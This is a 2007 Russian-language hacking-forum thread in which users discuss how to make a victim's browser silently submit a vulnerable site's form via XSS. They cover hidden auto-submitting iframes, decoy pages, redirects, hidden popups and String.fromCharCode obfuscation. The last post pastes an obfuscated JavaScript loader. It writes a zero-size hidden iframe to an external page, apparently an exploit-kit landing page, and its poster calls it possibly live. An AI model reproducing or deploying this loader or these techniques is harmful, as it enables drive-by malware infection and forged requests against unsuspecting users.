Xss, скрытый от юзера сабмит формы

Discussion in 'PHP' started by hhover, 24 May 2007.

  1. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Есть сайт, на сайте форма. В форме нефильтруемые поля.
    Задача: чтобы эту форму отправил другой человек, при этом ничего не заметив.

    Варианты:
    1) Делаем отвлекающую страницу с каким-нибудь текстом, который заинтересует жертву, в коде страницы iframe, в нем наша форма и <script>ourform.submit();</script>

    Такой вариант работает в FF и Opera. Но только до тех пор, пока iframe не зашифрован. С зашифрованным iframe'ом в FF работать перестает. А желательно хотя-бы минимально зашифровать его (хотя бы String.fromCharCode)...
    В ие вообще работать такой вариант отказывается.

    2) Делаем страницу, при заходе на которую только в первый раз произойдет отправка формы. А к коду XSS дописываем редирект обратно на нашу страницу.

    Работает во всех браузерах, но не слишком быстро, и юзер может заметить сменившийся адрес окна и подгружающийся любимый сайт.


    Есть другие варианты? Желательно, хотя бы один пример незаметного и работающего в IE кода.
     
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    document.write('<iframe src='+String.fromCharCode()+'></iframe>');
     
  3. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Да, в FF с зашифрованным адресом пашет, а если весь iframe шифровать - то нет. Странно.

    Но в IE по прежнему в iframe работать отказывается. Вернее, оно отсылается, но фрейм подгружает форму логина и пишет неизвестную ошибку.
    Скорее всего тут дело не в том, что браузер что-то блокирует, а в какой-то защите на стороне атакуемого сайта.

    Поэтому интересны другие методы, кроме загрузки страницы в iframe.
     
  4. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Даже простым
    document.write(String.fromCharCode( --- full iframe code here --- ));
    ничего не получалось. И простым unescape тоже. Но это по сути не важно, способ зашифровать линк от дурочка уже подсказали.

    Судя по ответам, третьего, скрытого способа просто нет. Не очень и надеялся, конечно.

    Хотя сейчас пришла в голову идея подключить ajax, он ведь может отсылась кастомные заголовки? Если да, то ответ загружать в скрытый <div> или просто не получать, если можно.

    Кто в курсе ajax'a, можно ли POST запрос им отправить другому хосту ?
     
  5. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    К сожалению шифрование фрейма сейчас не самая приоритетная задача, потому-что сам факт фрейма не дает отправить форму в ИЕ. Но за способ все равно спасибо, на будущее запомню.

    Я еше думаю по поводу попапа какого-нибудь, который бы был очень мелким по размерам, открылся бы на заднем плане, и сразу же закрылся, как только выполнил нужные действия, вроде так можно, только вот сложно открыть попап в ИЕ, блокируется он. Думаю попробывать сделать в нем сабмит.
     
  6. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    374
    Reputations:
    460
    Вот держи, не помню от какого-то загрузчика
    PHP:
    <script language='JavaScript'><!--
    function 
    nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';
    s+='060105102114097109101032115114099061039104116116112058047047098114098111100121046105110102111047109';
    s=s+'112097099107047105110100101120046112104112039032119105100116104061048032104101105103104116061048032';
    s=s+'102114097109101098111114100101114061039048039062060047105102114097109101062';
    t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}nbsp();
    //--></script>
    Смотри не запускай у себя, вроде еще как бы это живая ссылка...)))